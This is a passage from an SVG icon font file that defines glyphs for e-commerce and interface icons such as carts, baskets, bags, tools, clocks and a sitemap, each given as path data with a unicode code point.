29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-upsell" unicode="&#xe8e1;" d="M741-25h127l45 147h-216l44-147z m184 188c18 0 33-15 33-33 0-3 0-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-27 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-11 0-21 9-21 21s10 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h242z m-174-301c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-378 418c-9-6-22-4-29 6-7 9-4 22 5 29 67 46 108 123 108 207 0 137-109 249-243 249-134 0-243-112-243-249 0-101 58-190 147-229 10-5 15-17 10-28-4-10-17-15-27-10-104 46-172 150-172 267 0 160 127 291 285 291 157 0 285-131 285-291 0-98-48-188-126-242z m238 172c8 8 22 8 30 0 8-8 8-21 0-29l-247-253c-8-9-22-9-30 0l-117 119-183-187c-8-8-21-8-29 0-9 8-9 21-1 29l198 203c9 8 22 8 30 0l117-120 232 238z m98 91c11 0 20-10 20-21v-169c0-19-22-28-35-15l-165 169c-13 13-4 36 15 36h165z m-116-42l95-97v97h-95z m-466-35c-1 12 8 22 19 23 12 1 22-8 23-19 1-15 20-29 45-29 26 0 45 15 45 30 0 10-7 17-21 23-5 2-10 3-16 5-3 1-13 2-12 2 1 0-9 2-14 3-7 1-15 4-22 6-28 12-47 32-47 62 0 41 40 72 87 72 45 0 83-28 87-67 0-12-8-22-20-22s-21 7-22 19c-1 14-20 28-45 28-26 0-45-14-45-30 0-10 7-17 21-23 5-2 10-3 16-5 3-1 13-2 12-2-1 0 9-2 13-3 8-1 15-4 23-6 28-12 47-32 47-62 0-41-40-71-87-71-45 0-84 28-87 66z m66 191c0 11 9 21 21 21 12 0 21-10 21-21v-270c0-12-9-21-21-21-12 0-21 9-21 21v270z" horiz-adv-x="1000" />

<glyph glyph-name="products" unicode="&#xe8e2;" d="M542 808v-375h375v375h-375z m-21 42h417c11 0 20-9 20-21v-416c0-12-9-21-20-21h-417c-12 0-21 9-21 21v416c0 12 9 21 21 21z m-479-42v-375h375v375h-375z m-21 42h417c11 0 20-9 20-21v-416c0-12-9-21-20-21h-417c-12 0-21 9-21 21v416c0 12 9 21 21 21z m521-542v-375h375v375h-375z m-21 42h417c11 0 20-9 20-21v-417c0-11-9-20-20-20h-417c-12 0-21 9-21 20v417c0 12 9 21 21 21z m-479-42v-375h375v375h-375z m-21 42h417c11 0 20-9 20-21v-417c0-11-9-20-20-20h-417c-12 0-21 9-21 20v417c0 12 9 21 21 21z m185 219h89l33 111h-154l32-111z m134 149c16 0 29-13 29-29 0-3-1-5-1-8l-38-128c-4-13-15-21-28-21h-102c-13 0-25 8-28 21l-41 140c0 1 0 1 0 1-3 9-6 17-12 25-3 5-6 6-9 6-11 0-19 9-19 19s8 19 19 19c17 0 31-8 40-23 5-7 9-15 12-22h178z m-130-246c-12 0-21 11-21 23s10 23 21 23 22-10 22-23-9-23-22-23z m78 0c-12 0-21 11-21 23s10 23 21 23 22-10 22-23-10-23-22-23z m418 97h89l33 111h-154l32-111z m134 149c16 0 29-13 29-29 0-3-1-5-1-8l-38-128c-4-13-15-21-28-21h-102c-13 0-25 8-28 21l-41 140c0 1 0 1 0 1-3 9-6 17-12 25-3 5-6 6-9 6-11 0-19 9-19 19s8 19 19 19c17 0 31-8 40-23 5-7 9-15 12-22h178z m-130-246c-12 0-21 11-21 23s10 23 21 23 22-10 22-23-9-23-22-23z m78 0c-12 0-21 11-21 23s10 23 21 23 22-10 22-23-10-23-22-23z m-582-403h89l33 111h-154l32-111z m134 149c16 0 29-13 29-29 0-3-1-5-1-8l-38-128c-4-13-15-21-28-21h-102c-13 0-25 8-28 21l-41 140c0 1 0 1 0 1-3 9-6 17-12 25-3 5-6 6-9 6-11 0-19 9-19 19 0 11 8 19 19 19 17 0 31-8 40-23 5-7 9-15 12-22h178z m-130-246c-12 0-21 10-21 23 0 13 10 23 21 23s22-10 22-23c0-13-9-23-22-23z m78 0c-12 0-21 10-21 23 0 13 10 23 21 23s22-10 22-23c0-13-10-23-22-23z m418 97h89l33 111h-154l32-111z m134 149c16 0 29-13 29-29 0-3-1-5-1-8l-38-128c-4-13-15-21-28-21h-102c-13 0-25 8-28 21l-41 140c0 1 0 1 0 1-3 9-6 17-12 25-3 5-6 6-9 6-11 0-19 9-19 19 0 11 8 19 19 19 17 0 31-8 40-23 5-7 9-15 12-22h178z m-130-246c-12 0-21 10-21 23 0 13 10 23 21 23s22-10 22-23c0-13-9-23-22-23z m78 0c-12 0-21 10-21 23 0 13 10 23 21 23s22-10 22-23c0-13-10-23-22-23z" horiz-adv-x="1000" />

<glyph glyph-name="bag-light" unicode="&#xe8e3;" d="M333 558l0 84c6 108 64 165 168 165 104 0 161-57 166-166v-83h83c46 0 83-37 83-83v-500c0-46-37-83-83-83h-500c-46 0-83 37-83 83v500c0 46 37 83 83 83h83z m42 0h250l0 82c-3 85-43 125-124 125-81 0-121-40-126-124l0-83z m-42-41h-83c-23 0-42-19-42-42v-500c0-23 19-42 42-42h500c23 0 42 19 42 42v500c0 23-19 42-42 42h-83v-121c0-12-9-21-21-21s-21 9-21 21l0 121h-250l0-121c0-12-9-21-21-21-11 0-21 9-21 21l0 121z" horiz-adv-x="1000" />

<glyph glyph-name="bag-medium" unicode="&#xe8e4;" d="M323 558l0 85c6 112 68 174 178 174 109 0 172-62 176-176v-83h73c46 0 83-37 83-83v-500c0-46-37-83-83-83h-500c-46 0-83 37-83 83v500c0 46 37 83 83 83h73z m62 0h230l0 82c-4 80-38 115-114 115-76 0-111-35-116-114l0-83z m-62-62h-73c-12 0-21-9-21-21v-500c0-12 9-21 21-21h500c12 0 21 9 21 21v500c0 12-9 21-21 21h-73v-100c0-17-14-31-31-31s-31 14-31 31l0 100h-230l0-100c0-17-14-31-31-31-17 0-31 14-31 31l0 100z" horiz-adv-x="1000" />

<glyph glyph-name="bag-solid" unicode="&#xe8e5;" d="M333 558l0 84c6 108 64 165 168 165 104 0 161-57 166-166v-83h83c46 0 83-37 83-83v-500c0-46-37-83-83-83h-500c-46 0-83 37-83 83v500c0 46 37 83 83 83h83z m42 0h250l0 82c-3 85-43 125-124 125-81 0-121-40-126-124l0-83z" horiz-adv-x="1000" />

<glyph glyph-name="basket-light" unicode="&#xe8e6;" d="M125 475c0 0 0 0 0 0h131l68 203c8 27 34 47 63 47h268c30 0 56-20 63-48l68-202h130c1 0 1 0 1 0h62c12 0 21-9 21-21s-9-21-21-21h-44l-62-381c-13-46-53-77-100-77h-503c-47 0-88 31-101 79l-62 379h-44c-12 0-21 10-21 21s9 21 21 21h62z m25-42l60-370c7-27 32-46 60-46h503c28 0 52 18 60 43l60 373h-743z m592 42l-63 190c-3 11-13 18-24 18h-268c-11 0-20-7-23-17l-64-191h442z m-242-146c0 12 9 21 21 21s21-9 21-21v-208c0-12-9-21-21-21s-21 9-21 21v208z m187-211c-2-11-12-19-24-18-11 2-19 13-17 24l29 206c2 12 13 20 24 18 11-2 19-12 18-24l-30-206z m-292 6c2-11-6-22-17-24-11-2-22 6-24 18l-29 206c-2 11 6 22 18 24 11 2 22-6 23-18l29-206z" horiz-adv-x="1000" />

<glyph glyph-name="basket-medium" unicode="&#xe8e7;" d="M104 485c0 0 1 0 1 0h103l71 197c9 31 41 53 76 53h291c35 0 67-22 77-55l70-195h103c0 0 1 0 1 0h61c17 0 32-14 32-31s-15-31-32-31h-35l-61-374c-14-50-59-84-110-84h-503c-51 0-97 34-111 87l-60 371h-36c-17 0-32 14-32 31s15 31 32 31h62z m37-62l58-358c6-22 26-38 50-38h503c23 0 44 16 49 35l59 361h-719z m585 62l-63 176c-3 7-9 12-18 12h-290c-9 0-15-5-17-10l-64-178h452z m-257-156c0 17 14 31 31 31s31-14 31-31v-208c0-17-14-31-31-31s-31 14-31 31v208z m208-213c-3-17-19-28-36-26-17 2-28 18-26 35l29 206c3 17 19 29 36 27s28-18 26-35l-29-207z m-292 9c3-17-10-32-27-35-17-2-33 10-35 27l-30 206c-2 17 10 33 27 35 17 3 33-9 35-26l30-207z" horiz-adv-x="1000" />

<glyph glyph-name="basket-solid" unicode="&#xe8e8;" d="M128 433h-65c-12 0-21 10-21 21s9 21 21 21h193l68 203c8 27 34 47 63 47h268c30 0 56-20 63-48l68-202h193c12 0 21-9 21-21s-9-21-21-21h-66l-60-376c-10-36-43-61-81-61h-502c-37 0-70 25-80 61l-62 376z m614 42l-63 190c-3 11-13 18-24 18h-268c-11 0-20-7-23-17l-64-191h442z m-242-146v-208c0-12 9-21 21-21s21 9 21 21v208c0 12-9 21-21 21s-21-9-21-21z m187-211l30 206c1 11-7 22-18 24-11 2-22-6-24-18l-29-206c-2-11 6-22 17-24 12-1 23 7 24 18z m-292 6l-29 206c-2 11-12 19-24 18-11-2-19-13-17-24l29-206c2-12 12-20 24-18 11 2 19 13 17 24z" horiz-adv-x="1000" />

<glyph glyph-name="cart-light" unicode="&#xe8e9;" d="M708-4c0-35 28-63 63-63 34 0 62 28 62 63 0 34-28 62-62 62-35 0-63-28-63-62z m-520 687l750 0c12 0 22-11 20-23l-32-260c-7-52-51-92-104-92l-559 0 8-41c10-49 53-84 102-84l481 0c12 0 21-9 21-20 0-12-9-21-21-21l-481 0c-69 0-129 49-143 117l-101 508-108 0c-12 0-21 9-21 21 0 11 9 20 21 20l125 0c10 0 18-7 20-16l22-109z m8-41l59-292 567 0c32 0 58 24 62 55l30 237-718 0z m471-646c0 57 46 104 104 104 57 0 104-47 104-104 0-58-47-104-104-104-58 0-104 46-104 104z m-417 0c0 57 47 104 104 104 58 0 104-47 104-104 0-58-46-104-104-104-57 0-104 46-104 104z m42 0c0-35 28-63 62-63 35 0 63 28 63 63 0 34-28 62-63 62-34 0-62-28-62-62z" horiz-adv-x="1000" />

<glyph glyph-name="cart-medium" unicode="&#xe8ea;" d="M740-4c0-29 23-52 52-52s52 23 52 52-24 52-52 52-52-23-52-52z m-523 698h741c19 0 34-17 31-35l-32-261c-7-57-56-100-114-100h-546l6-29c8-44 47-75 92-75h480c17 0 31-14 31-31s-14-32-31-32h-481c-74 0-139 53-153 126l-100 499h-99c-17 0-32 14-32 32s15 31 32 31h125c15 0 28-11 31-25l19-100z m13-63l54-271h559c26 0 48 20 52 46l28 225h-693z m447-635c0 63 51 114 115 114s114-51 114-114-51-115-114-115-115 51-115 115z m-417 0c0 63 52 114 115 114s115-51 115-114-52-115-115-115-115 51-115 115z m63 0c0-29 23-52 52-52s52 23 52 52-23 52-52 52-52-23-52-52z" horiz-adv-x="1000" />

<glyph glyph-name="cart-solid" unicode="&#xe8eb;" d="M188 683h750c5 0 11-2 15-7 4-4 6-10 5-16l-32-260c-7-52-51-92-103-92h-560l8-41c10-48 53-84 102-84h481c12 0 21-9 21-20s-9-21-21-21h-481c-69 0-129 49-143 117l-101 508h-108c-12 0-21 9-21 21s9 20 21 20h125c10 0 18-7 20-16l22-109z m583-583c57 0 104-47 104-104s-47-104-104-104-104 46-104 104 46 104 104 104z m-417 0c58 0 104-47 104-104s-46-104-104-104-104 46-104 104 47 104 104 104z" horiz-adv-x="1000" />

<glyph glyph-name="exchange" unicode="&#xe8ec;" d="M392 600v-345c0-17-19-30-42-30s-42 13-42 30v345h-104c-6 0-10 2-14 5-5 4-7 8-7 13 0 5 2 10 7 13l145 130c5 4 10 5 15 5s10-1 15-5l145-130c5-3 7-8 7-13 0-5-2-9-7-13-4-3-9-5-14-5h-104z m208-500v345c0 17 19 30 42 30s41-13 41-30v-345h105c5 0 10-2 14-5s6-8 6-13-2-9-6-13l-146-130c-4-4-9-5-14-5s-11 1-15 5l-146 130c-4 4-6 8-6 13s2 9 6 13 9 5 15 5h104z" horiz-adv-x="1000" />

<glyph glyph-name="preview-thin" unicode="&#xe8ed;" d="M500 663c117 0 233-50 338-134 79-62 141-146 141-179s-62-112-141-179c-105-83-221-133-338-133s-233 50-337 133c-80 67-142 146-142 179s62 113 142 179c104 84 220 134 337 134z m192-92l0 0c37-46 58-100 58-158 0-138-112-250-250-250s-250 112-250 250c0 62 21 116 58 158-41-21-79-46-120-79-71-59-125-129-125-146s58-88 125-146c95-79 204-125 312-125s217 46 313 125c70 58 125 129 125 146s-59 87-125 146c-42 33-80 62-121 79z m-192 50l-8 0c-113-4-200-96-200-208 0-117 91-209 208-209s208 92 208 209c0 112-87 204-200 208l-8 0z m0-108c54 0 100-46 100-100 0-55-46-100-100-100s-100 45-100 100c0 4 0 4 0 8 8-4 17-4 25-4 42 0 75 33 75 75 4 8 4 12 0 21l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="device-laptop" unicode="&#xe8ee;" d="M797 646c41 0 75-34 75-75v-390c0-13-3-25-9-35h82c7 0 13-6 13-14v-31c0-26-20-46-45-46h-825c-26 0-46 20-46 46v31c0 8 6 14 13 14h77c-5 10-9 22-9 35v390c0 41 34 75 75 75h599z m-8-83h-582v-374h582v374z" horiz-adv-x="1000" />

<glyph glyph-name="collapse" unicode="&#xe8ef;" d="M826-108h-652c-73 0-132 59-132 132v652c0 73 59 132 132 132h652c73 0 132-59 132-132v-652c0-73-59-132-132-132z m-652 823c-21 0-39-17-39-39v-652c0-21 18-39 39-39h652c21 0 39 18 39 39v652c0 22-18 39-39 39h-652z m76-457c0 8 3 16 9 22l219 227c6 6 13 10 22 10s16-4 22-10l219-227c6-6 9-14 9-22s-3-17-9-23c-6-7-13-10-22-10h-438c-8 0-16 3-22 10-6 6-9 14-9 23z" horiz-adv-x="1000" />

<glyph glyph-name="expand" unicode="&#xe8f0;" d="M865 715v-730h-730v730h730z m8 93h-746c-47 0-85-38-85-85v-746c0-47 38-85 85-85h746c47 0 85 38 85 85v746c0 47-38 85-85 85z m-623-365c0-9 3-17 9-23l219-227c6-6 13-10 22-10s16 4 22 10l219 227c6 6 9 14 9 23s-3 16-9 22-13 10-22 10h-438c-8 0-16-3-22-10s-9-14-9-22z" horiz-adv-x="1000" />

<glyph glyph-name="navigator" unicode="&#xe8f1;" d="M936 613l-418 192c-11 5-24 5-35 0l-419-192c-14-7-22-20-22-34s8-27 22-33l418-192c6-3 12-4 18-4s12 1 18 4l418 192c14 6 22 19 22 33s-8 27-22 34z m-46-205c23 11 52 1 63-23 12-23 2-52-22-63l-411-195c-12-7-28-7-41 0l-410 195c-24 11-34 40-23 63s40 35 64 23l390-185 390 185z m0-229c23 11 52 1 63-23s2-52-22-63l-411-196c-12-6-28-6-41 0l-410 196c-24 11-34 40-23 63s40 34 64 23l390-186 390 186z" horiz-adv-x="1000" />

<glyph glyph-name="plug" unicode="&#xe8f2;" d="M404 625l179 183c30 30 75 30 105 0l0 0c29-29 29-75 0-104l-180-179 125-125 180 179c29 29 75 29 104 0l0 0c29-29 29-75 0-104l-179-179 41-42c9-8 9-21 0-29l-75-83c-8-9-21-9-29 0l-25 25-117-117c-79-79-200-83-283-17l-121-121c-8-8-21-8-29 0s-8 21 0 30l121 121-46 45-121-121c-8-8-21-8-29 0-8 9-8 21 0 30l121 125c-67 83-63 204 17 283l116 117-25 21c-4 8-4 20 0 29l79 75c9 8 21 8 30 0l41-42z m75-75l179 179c13 13 13 34 0 46l0 0c-12 13-33 13-45 0l-180-179 46-46z m229-229l180 179c12 13 12 33 0 46l0 0c-13 12-34 12-46 0l-179-179 45-46z m-362 304l-46-46 25-25c8-8 8-21 0-29l-133-133c-67-67-67-175 0-242l75-75c66-67 175-67 241 0l134 133c8 9 21 9 29 0l25-25 46 46-396 396z" horiz-adv-x="1000" />

<glyph glyph-name="dashboard" unicode="&#xe8f3;" d="M500 558c25 0 42-16 42-41s-17-42-42-42-42 17-42 42 17 41 42 41z m208-83c25 0 42-17 42-42s-17-41-42-41-41 16-41 41 16 42 41 42z m-416 0c25 0 41-17 41-42s-16-41-41-41-42 16-42 41 17 42 42 42z m-84-167c25 0 42-16 42-41s-17-42-42-42-41 17-41 42 16 41 41 41z m584 0c25 0 41-16 41-41s-16-42-41-42-42 17-42 42 17 41 42 41z m-217-154c-4 34-21 63-50 79-29 17-62 17-92 5l-12 4 208 166-41-262-13 8z m-92-100c-16 0-37 4-50 13-25 12-41 37-50 62-8 25-4 54 9 79s37 42 62 50 54 5 79-8c25-12 42-37 50-62 9-25 5-55-8-80s-37-41-62-50c-13 0-21-4-30-4z m0 167c-4 0-12 0-16-4-17-4-29-17-38-29-8-13-12-34-4-46 4-17 17-29 29-38 13-8 34-12 46-8 17 4 29 17 38 29 8 13 12 33 4 46-4 17-17 29-29 37v0c-9 13-17 13-30 13z m409-267h-784l-4 8c-66 88-104 192-104 305 0 275 225 500 500 500 275 0 500-225 500-500 0-113-37-217-104-305l-4-8z m-763 42h742c58 79 87 171 87 271 0 254-204 458-458 458s-458-204-458-458c0-100 29-192 87-271z" horiz-adv-x="1000" />

<glyph glyph-name="typography" unicode="&#xe8f4;" d="M146 504v-583c0-4 4-13 12-13h663v867c0 4-4 13-13 13h-379v-230c0-29-25-54-54-54h-229z m246 284l0 0-238-242h225c4 0 13 4 13 12v230z m-234-921c-29 0-54 25-54 54v625c0 4 4 12 4 12l255 263c4 4 8 8 16 8h434c29 0 54-25 54-54v-888c0-12-9-20-21-20h-271-417z m255 316l-59 142-58-142h117z m45-125l-37 92h-138l-37-92h-42l129 330h46l129-330h-50z m230 30c-25-25-50-38-75-38-21 0-38 8-50 21s-21 29-21 46c0 25 12 46 33 62 21 13 54 21 96 21h12v29c0 29-12 42-41 42-25 0-50-8-75-21v38c29 12 58 16 83 16 29 0 46-4 58-16 13-13 21-34 21-59v-108c0-25 9-38 25-38 0 0 4 0 9 0l4-25c-9-4-21-8-34-8-29 4-41 17-45 38z m-9 25v62l-16 0c-25 0-42-4-59-12-12-9-21-21-21-38 0-12 5-21 13-25 8-8 17-12 29-12 17 0 33 8 54 25z" horiz-adv-x="1000" />

<glyph glyph-name="info-circle-o" unicode="&#xe8f5;" d="M479 483c0 34 29 59 63 59 33 0 62-25 62-59 0-33-29-58-62-58-34 0-63 25-63 58z m125-320c0-5-4-9-8-13-21-21-50-29-83-33-13 0-30 0-42 0-38 8-58 33-54 66 8 38 16 75 21 113 4 12 4 21 8 33 0 4 0 9 0 13 0 8-8 12-17 12-4 0-8 0-12 0-4 0-13 4-17 4-8 5-8 17 4 17 4 0 9 4 17 4 21 0 42 0 62 0h59c12 0 21-8 25-16 0-13-4-25-4-38-9-37-17-71-21-104-4-13-4-25-9-38 0-4 0-8 0-12 5-17 13-21 30-17 4 0 8 4 16 4 4 0 9 5 17 9 4 8 8 4 8-4z m-104-313c-275 0-500 225-500 500s225 500 500 500 500-225 500-500-225-500-500-500z m0 42c254 0 458 204 458 458s-204 458-458 458-458-204-458-458 204-458 458-458z" horiz-adv-x="1000" />

<glyph glyph-name="integration" unicode="&#xe8f6;" d="M275 679l417-241c8-5 12-17 8-30s-17-12-29-8l-417 242c-33-42-91-50-141-25-50 33-71 100-38 154s100 71 154 42c46-30 63-84 46-134z m475-412l-417-242c-8-4-20-4-29 8-4 9-4 21 9 30l416 241c-16 50 4 104 50 134 54 29 121 12 154-42 30-54 13-121-41-154-46-25-104-13-142 25z m-617-184v459c0 12 9 21 21 21s21-9 21-21v-459c50-8 92-54 92-108 0-63-50-113-113-113s-112 50-112 113c0 54 37 100 91 108z m-50-108c0-38 30-71 71-71s71 29 71 71-29 71-71 71-71-33-71-71z m788 304c33 21 46 63 25 96-21 33-63 46-96 25-33-21-46-62-25-96 21-33 63-46 96-25z m-733 375c33-21 75-8 95 25s9 75-25 96-79 8-100-25-4-75 30-96z" horiz-adv-x="1000" />

<glyph glyph-name="plus-circle-o" unicode="&#xe8f7;" d="M500-113c-254 0-462 209-462 463s208 463 462 463 463-209 463-463-209-463-463-463z m0 92c204 0 371 167 371 371s-167 371-371 371-371-167-371-371 167-371 371-371z m-46 417v175c0 25 21 46 46 46 25 0 46-21 46-46v-175h175c25 0 46-21 46-46s-21-46-46-46h-175v-175c0-25-21-46-46-46-25 0-46 21-46 46v175h-175c-25 0-46 21-46 46s21 46 46 46h175z" horiz-adv-x="1000" />

<glyph glyph-name="rating" unicode="&#xe8f8;" d="M325 446l83 12 75 150c9 17 30 17 38 0l75-150 79-12 71 125c8 17 29 12 37 0l50-125 130-25c16-4 20-25 8-38l-96-87 17-133c0-17-17-30-34-21l-112 66-71-33c0 0-4 0-4 0l12-67c5-16-16-29-29-20l-154 83-150-79c-17-9-33 4-29 21l12 66c-4 0-4 0-8 0l-71 34-112-67c-17-8-34 4-34 21l17 129-100 87c-12 13-8 34 8 38l130 25 54 121c8 16 29 16 37 0l71-121z m-46-8l-41 75-42-92c-4-8-8-13-17-13l-96-20 75-67c5-4 9-13 9-17l-13-100 88 50c4 4 12 4 21 0l79-37 8 58-121 117c-12 12-4 33 13 37l37 9z m438 4l41-4c17-5 25-25 13-38l-121-117 8-58 75 33c5 5 13 5 21 0l88-50-9 96c0 9 0 13 9 17l75 67-100 20c-9 0-13 5-17 13l-42 92-41-71z m-350-292l121 63c4 4 12 4 20 0l121-63-25 138c0 8 0 12 4 16l100 96-137 21c-8 0-13 4-17 12l-62 125-63-125c-4-4-8-8-16-12l-138-21 100-96c4-4 8-12 4-16l-12-138z" horiz-adv-x="1000" />

<glyph glyph-name="review" unicode="&#xe8f9;" d="M254 113c-58 0-108 50-108 108v292c0 58 46 108 108 108h492c58 0 108-50 108-108v-292c0-58-46-108-108-108h-283l-200-113c-17-8-38 8-30 25l42 88h-21z m192 37c4 0 8 4 8 4h292c37 0 67 29 67 67v292c0 37-30 66-67 66h-492c-37 0-66-29-66-66v-292c0-38 29-67 66-67h59c16 0 25-16 16-29l-29-58 146 83z m46 154c4 4 12 4 21 0l50-25-9 54c0 9 0 13 4 17l38 38-54 8c-9 0-13 4-17 12l-25 50-25-50c-4-4-8-8-17-12l-54-8 38-38c4-4 8-12 4-17l-8-54 54 25z m-67-83c-17-8-33 4-29 21l12 83-62 58c-13 13-4 34 12 38l84 12 37 75c9 17 29 17 38 0l37-75 84-12c16-4 25-25 12-38l-62-58 12-83c4-17-17-29-29-21l-75 42-71-42z m458 217c-8 8-8 20 0 29 9 8 21 8 30 0l75-75c8-9 8-21 0-29l-75-75c-9-9-21-9-30 0-8 8-8 20 0 29l59 58-59 63z m-762 0l-58-59 58-58c8-8 8-21 0-29-8-9-21-9-29 0l-75 75c-9 8-9 21 0 29l75 75c8 8 21 8 29 0 8-8 8-25 0-33z" horiz-adv-x="1000" />

<glyph glyph-name="tools" unicode="&#xe8fa;" d="M246-79c-8 0-17 0-25 0 0 0 0 0 0 0l-79 12 87 92-29 33-92-91-12 79c-4 17-4 33 0 50 4 29 21 58 42 79 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l0 0c0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l0 0 0 0c25 25 54 38 83 42 17 8 29 8 46 4h0l137 137-91 96-63-66-21 20-16-16c12-17 12-42-5-59l-29-25c-16-16-46-16-62 0l-92 92c-8 8-12 21-12 29s4 21 12 29l29 30c9 8 21 12 29 12 0 0 0 0 0 0 13 0 21-4 30-12l4-5 16 17-29 33 84 84c0 0 0 0 0 0 0 0 4 4 4 4 0 0 0 0 0 0 54 50 100 83 141 104 50 29 100 42 146 42 0 0 0 0 0 0 9 0 17 0 25 0 9 0 17 0 25-4l75-17-137-138 91-91 88 83c-4 17-4 29 0 46 4 29 17 58 42 83 0 0 0 0 0 0l0 0 0 0c0 0 0 0 0 0 0 0 0 0 0 0l0 0c0 0 0 0 0 0 0 0 0 0 0 0 20 21 45 34 75 42 16 4 37 4 58 0l79-13-92-87 30-33 91 87 13-79c0 0 0 0 0 0 4-17 4-33 0-50-4-29-17-54-38-75 0 0 0 0-4-4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-37-38-87-50-137-42l-84-83 284-284c33-33 33-87 0-121l-30-29c-16-16-37-25-62-25 0 0 0 0 0 0-25 0-46 9-63 25l-283 284-133-134c4-20 4-41 0-62-4-29-21-54-42-75l0 0c0 0 0 0 0 0 0 0 0 0 0 0l0 0 0 0c0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-21-21-50-34-79-42-8-8-17-8-25-8z m-13 41c9 0 17 0 25 0 21 5 46 13 63 30l0 0c0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 12 12 21 29 29 46 4 16 4 37 0 54l0 0c0 4 0 4 0 8l-4 13c-4 12-13 20-17 29 0 4-4 4-4 4 0 0 0 0 0 0-4 4-8 8-12 8-42 34-105 29-142-8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l0 0c-17-17-25-38-29-63 0-12 0-20 0-33l25 38c8 8 21 12 33 12 0 0 0 0 0 0 13 0 21-4 29-12l29-30c9-8 13-16 13-29s-4-21-13-29l-33-33c4-5 4-5 8-5z m321 305l284-284c16-16 45-16 62 0l29 30c17 16 17 45 0 62l-283 283 0 0 0 0-92-91z m-191-100c4-9 8-13 12-21h0l275 275 0 0 71 71c-13 8-21 16-33 25-13 12-21 25-30 41l-350-350c9-4 13-8 21-12 9-4 13-8 17-17 0 0 0 0 0 0 0 0 0 0 0 0l0 0c8-4 12-8 17-12z m-275 296l-34-30 92-95 33 29-12 12-79 84z m254 20l91-91 92 91-92 92-91-92z m-175 50l83-83 271 271c-8 0-17 4-29 4-4 0-9 0-13 0-33 0-79-8-133-37-42-21-83-55-125-96 0 0-4-4-4-4 0 0 0 0 0 0l-50-55z m550 13c41-42 112-42 154 0l0 0c0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 17 25 37 29 58 0 9 0 21 0 29 0 0 0 5 0 5v0l-33-34c-17-16-46-16-59 0l-29 38c-8 8-12 21-12 29 0 12 4 21 12 29l34 33c-13 0-25 0-38 0-21-4-42-12-54-29 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-46-46-46-116-4-158l0 0 0 0z" horiz-adv-x="1000" />

<glyph glyph-name="loading" unicode="&#xe8fb;" d="M500-125v117c196 0 358 162 358 358s-162 358-358 358-358-162-358-358h-117c0 263 213 475 475 475s475-212 475-475-212-475-475-475z" horiz-adv-x="1000" />

<glyph glyph-name="sitemap" unicode="&#xe8fc;" d="M479 417v154h-75c-12 0-21 8-21 21v191c0 13 9 21 21 21h192c12 0 21-8 21-21v-195c0-13-9-21-21-21h-75v-154h267c37 0 70-30 70-71v-175h75c13 0 21-9 21-21v-196c0-13-8-21-21-21h-191c-13 0-21 8-21 21v196c0 12 8 21 21 21h75v175c0 16-13 29-29 29h-267v-200h75c12 0 21-8 21-21v-196c0-12-9-21-21-21h-192c-12 0-21 9-21 21v196c0 13 9 21 21 21h75v200h-266c-17 0-30-13-30-29v-175h75c13 0 21-9 21-21v-196c0-13-8-21-21-21h-191c-13 0-21 8-21 21v196c0 12 8 21 21 21h75v175c0 37 29 71 71 71h266z m-54 346v-155h150v155h-150z m-337-784h150v154h-150v-154z m675 154v-154h150v154h-150z m-338-154h150v154h-150v-154z" horiz-adv-x="1000" />

<glyph glyph-name="click" unicode="&#xe8fd;" d="M326 458v178c0 66 53 119 118 119s118-53 118-119v-178c57 39 94 104 94 178 0 119-95 214-212 214s-213-96-213-214c0-75 38-140 95-178z m396-165c-53 12-184 48-198 62s-9 103-9 116c0 54 0 109 0 164 0 40-32 72-71 72s-71-32-71-72c0-187 0-328 0-422 0-29-3-70-14-87s-28-23-54 1-32 34-62 42-65-19-73-35-10-30 0-53c15-31 52-73 66-87 27-27 68-68 122-123 13-13 31-21 50-21h321c36 0 63 26 68 61l36 251c0 3 0 6 0 9 0 30-13 99-111 122z" horiz-adv-x="1000" />

<glyph glyph-name="clock" unicode="&#xe8fe;" d="M500-67c-230 0-417 187-417 417s187 417 417 417 417-187 417-417-187-417-417-417z m198 310l-160 105v192c0 20-17 38-38 38s-38-18-38-38v-212c0-13 6-25 17-32l177-117c17-11 41-6 52 11 12 18 7 41-10 53z" horiz-adv-x="1000" />

<glyph glyph-name="library-open" unicode="&#xe8ff;" d="M958 300c0-8-4-21-16-33l-163-192c-12-17-33-29-58-42s-50-16-71-16h-529c-13 0-21 4-29 8s-13 13-13 21c0 8 4 21 17 33l162 192c13 17 34 29 59 42s50 16 71 16h529c12 0 21-4 29-8s12-8 12-21z m-166 171v-79h-409c-29 0-62-9-95-25s-59-34-80-59l-162-191-4-4c0 0 0 4 0 4s0 4 0 4v475c0 29 12 54 33 79s46 33 79 33h159c29 0 54-12 79-33s25-50 25-79v-17h266c30 0 55-12 80-33s29-46 29-75z" horiz-adv-x="1000" />

